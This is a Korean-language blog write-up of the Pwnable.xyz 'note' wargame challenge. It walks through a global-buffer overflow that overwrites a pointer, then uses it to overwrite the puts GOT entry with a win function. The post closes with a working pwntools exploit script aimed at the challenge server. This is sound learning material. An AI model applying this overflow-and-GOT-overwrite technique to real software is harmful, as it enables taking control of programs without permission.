tmxklab

[Pwnable.xyz] note 본문

War Game/Pwnable.xyz

[Pwnable.xyz] note

tmxk4221 2020. 4. 9. 21:07

1. 문제

nc svc.pwnable.xyz 30016

 

1) 문제 확인

- menu가 주어지고 무한 루프로 이루어져있음

 

2) 함수 확인

 

2-1) IDA(hex-lay) - 메인 함수

- 1을 입력하면 edit_note함수 실행

- 2를 입력하면 edit_desc함수 실행

- 0을 입력하면 프로그램 종료

 

2-2) IDA(hex-lay) - win함수

 

2-3) IDA(hex-lay) - edit_note함수

- 입력할 문자열 길이만큼 할당하여 read함수를 통해 buf에 입력 받음

- strncpy함수를 통해 입력한 길이만큼 buf에 저장된 문자열을 s(전역변수)로 복사

- 마지막으로 buf의 할당된 메모리를 free를 통해 해제

 

2-4) IDA(hex-lay) - edit_desc함수

-buf(전역변수)를 0x20만큼 할당하고 read함수를 통해 0x20만큼 입력받아 buf에 저장

 

2-5) IDA(hex-lay) - read_int32함수

- read함수를 통해 0x20만큼 입력받아 buf에 저장하고 atoi함수를 통해 int자료형으로 변환

 

2-6) IDA(hex-lay) - print_menu함수

 

3) 메모리 보호기법 및 파일 정보 확인

 


 

2. 접근 방법

edit_desc함수의 전역변수 bufedit_note함수의 전역변수 s

  • 두 변수간에 거리 : 0x20

  • edit_note함수에서 strncpy()를 통해 32bytes보다 더 큰 값을 입력하여 넣을 수 있음

즉, s변수에로부터 32bytes보다 더 큰 값을 넣게 되면 전역변수 buf를 변조할 수 있다!

(참고로 buf는 포인터 변수(void*))

 

현재 메모리 보호기법에서 No RELRO이므로 GOT Overwrite를 생각해 볼 수 있다.

* RELRO(Relocation Read-Only) : 데이터 섹션을 보호하는 기술로 메모리가 변경되지 않도록 함

 

결론)

  • edit_note함수를 통해 s변수를 bof하여 buf포인터 변수에 puts_got주소를 넣음

  • edt_desc함수를 통해 buf변수가 가리키는(puts_got)곳에 win함수의 주소를 넣음

  • puts대신에 win함수를 실행시키기 위해서 모든 작업을 마치고 마지막으로 이상한 값을 넣어 puts함수를 실행(puts함수 대신 win함수 실행)

 


 

3. 풀이

1) puts got찾기

- puts got : 0x601220

 

2) win() address찾기

- win address : 0x40093c

 

3) 공격 코드

from pwn import *

r = remote("svc.pwnable.xyz", 30016)

win_addr = p64(0x40093c)
puts_got = p64(0x601220)

payload = "A"*32
payload += puts_got

r.sendafter(">", "1")
r.sendafter("len?", "50")
r.sendafter("note:", payload)

r.sendafter(">", "2")
r.sendafter("desc:", win_addr)

r.sendline("4")

r.interactive()

 

4) 공격 실행

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] two target  (0) 2020.04.09
[Pwnable.xyz] xor  (0) 2020.04.09
[Pwnable.xyz] free spirit  (0) 2020.03.30
[Pwnable.xyz] grownup  (0) 2020.03.30
[Pwnable.xyz] misalignment  (0) 2020.03.27
Comments